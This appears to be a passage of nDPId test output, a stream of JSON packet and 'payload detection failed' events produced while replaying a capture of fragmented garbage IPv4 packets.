+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306263,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306395,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306695,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":306708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 